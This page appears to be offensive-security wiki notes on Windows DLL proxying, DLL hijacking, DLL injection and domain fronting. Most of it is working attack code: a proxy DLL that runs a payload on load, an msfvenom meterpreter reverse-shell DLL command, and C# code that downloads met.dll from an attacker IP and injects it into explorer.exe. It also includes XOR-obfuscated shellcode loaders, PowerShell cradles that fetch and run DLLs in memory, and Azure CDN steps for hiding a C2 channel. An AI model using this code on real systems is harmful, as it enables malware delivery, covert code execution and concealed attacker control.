#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
